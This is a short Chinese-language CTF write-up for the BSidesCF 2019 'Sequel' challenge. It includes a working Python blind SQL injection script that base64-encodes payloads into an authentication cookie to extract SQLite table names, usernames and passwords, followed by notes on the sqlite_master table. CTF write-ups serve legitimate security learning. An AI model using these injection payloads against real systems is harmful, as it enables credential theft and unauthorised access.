[BSidesCF 2019]Sequel
解题步骤
由于接触sqlite不多,只能抄wp了。
登录居然能试出来?
guest guest登录。
然后cookie是base64加密的。估计是cookie来注入了。
贴一个sqlite盲注脚本:
import requests import string import base64 URL = 'http://13aa476e-8593-4c3e-8df8-e6ae0bc632eb.node4.buuoj.cn:81/sequels' LETTERS = string.printable target = "" while True: f = False for e in LETTERS: tmp = target + e # 1.テーブル名を取得 # payload = r'{{"username":"\" or CASE WHEN SUBSTR((SELECT name FROM sqlite_master limit 0,1),{},1)=\"{}\" THEN true ELSE false END or \"","password":"guest"}}'.format( # len(tmp), e) # 2.usernameを取得 # payload = r'{{"username":"\" or CASE WHEN SUBSTR((SELECT username FROM userinfo limit 1,1),{},1)=\"{}\" THEN true ELSE false END or \"","password":"guest"}}'.format(len(tmp),e) # 3.passwordを取得 payload = r'{{"username":"\" or CASE WHEN SUBSTR((SELECT password FROM userinfo limit 1,1),{},1)=\"{}\" THEN true ELSE false END or \"","password":"guest"}}'.format(len(tmp),e) payload = base64.b64encode(payload.encode('utf-8')).decode("utf-8") req = requests.Request( 'GET', URL, params={ }, cookies={ "1337_AUTH": payload } ) prepared = req.prepare() s = requests.Session() r = s.send(prepared, allow_redirects=False) if "Movie" in r.text: target = tmp print(target) f = True break if f: continue exit()
exp来自:https://graneed.hatenablog.com/entry/2019/03/05/204738
用admin登录即可得到flag
SQLite数据库中一个特殊的名叫 SQLITE_MASTER 上执行一个SELECT查询以获得所有表的索引。每一个 SQLite 数据库都有一个叫 SQLITE_MASTER 的表, 它定义数据库的模式。 SQLITE_MASTER 表看起来如下:
CREATE TABLE sqlite_master (
type TEXT,
name TEXT,
tbl_name TEXT,
rootpage INTEGER,
sql TEXT
);
对于表来说,type 字段永远是 ‘table’,name 字段永远是表的名字。所以,要获得数据库中所有表的列表, 使用下列SELECT语句:
SELECT name FROM sqlite_master
WHERE type=’table’
ORDER BY name;
对于索引,type 等于 ‘index’, name 则是索引的名字,tbl_name 是该索引所属的表的名字。 不管是表还是索引,sql 字段是原先用 CREATE TABLE 或 CREATE INDEX 语句创建它们时的命令文本。对于自动创建的索引(用来实现 PRIMARY KEY 或 UNIQUE 约束),sql字段为NULL。
https://blog.csdn.net/xingfeng0501/article/details/7804378